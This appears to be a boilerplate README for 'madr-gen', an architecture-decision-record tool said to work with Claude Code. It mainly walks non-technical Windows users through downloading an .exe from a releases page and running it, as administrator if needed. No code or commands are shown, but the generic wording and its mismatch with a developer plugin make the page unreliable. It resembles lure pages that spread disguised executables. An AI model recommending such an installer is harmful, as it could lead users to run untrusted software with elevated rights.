madr-gen helps you create architecture decision records (ADRs) easily. It tracks decisions you make during projects and writes clear, organized records automatically.
This tool works with Claude Code, keeping your team organized by detecting decisions and updating documents as you go.
You don’t need coding skills or special setup. Just a simple Windows computer and a quick install.
Before you start, check that your computer meets these needs:
- Windows 10 or later version (64-bit recommended)
- At least 4 GB of RAM
- 200 MB of free disk space
- Internet connection to download and update
No additional software is needed.
Follow these steps to download and run madr-gen on your Windows PC.
Go to the releases page to get the latest version:
Visit madr-gen Releases to Download
- This page has all versions and updates.
- Pick the file name ending in
.exefor Windows. - Save it to a folder you can find easily, such as
DownloadsorDesktop.
- Find the downloaded
.exefile. - Double-click it to open the installer.
- Follow the instructions on the screen.
- You can usually accept default options.
- Wait until the process finishes.
- You might see a prompt to allow the app to make changes; click Yes.
After installation:
- Look for the madr-gen icon on your desktop.
- Double-click to open the app.
- The program will start and open a window.
Once open, madr-gen is ready to help you create architecture decision records. Here are some basic tips:
- Create a new record: Click "New ADR" or a similarly labeled button.
- Fill in details: Describe your decision in simple language.
- Save regularly: You can save your work anytime.
- Track sessions: The tool remembers past decisions to avoid duplicates.
- Export: Save your records as files to share with others or include in documents.
If you want to update or review past decision records, use the search or list view to find them quickly.
- Automatic detection of decisions you write.
- Session-aware tracking to organize related records.
- Clear, plain-text ADR format.
- Works seamlessly with Claude Code for added automation.
- Simple interface for non-technical users.
- Saves files locally for easy access and sharing.
If you face issues:
- Make sure your Windows system is up to date.
- Run madr-gen as administrator if it won’t open.
- Close other heavy programs to free up memory.
- Restart your computer and try again.
- Check the releases page for updates that might fix bugs.
You can find help on the GitHub page under the “Issues” tab. There, users and developers discuss common problems and fixes.
If you want to ask a question, write clearly and describe your problem step-by-step.
Check the releases page occasionally for newer versions:
Download the latest version of madr-gen
Download the new .exe file and run it. It will replace the old version without losing your records.
madr-gen simplifies documenting important architecture decisions. It helps teams save time and avoid confusion, all without special technical skills.
The tool focuses on making the process smooth and automatic. This way, users know their decisions are recorded correctly and shared easily.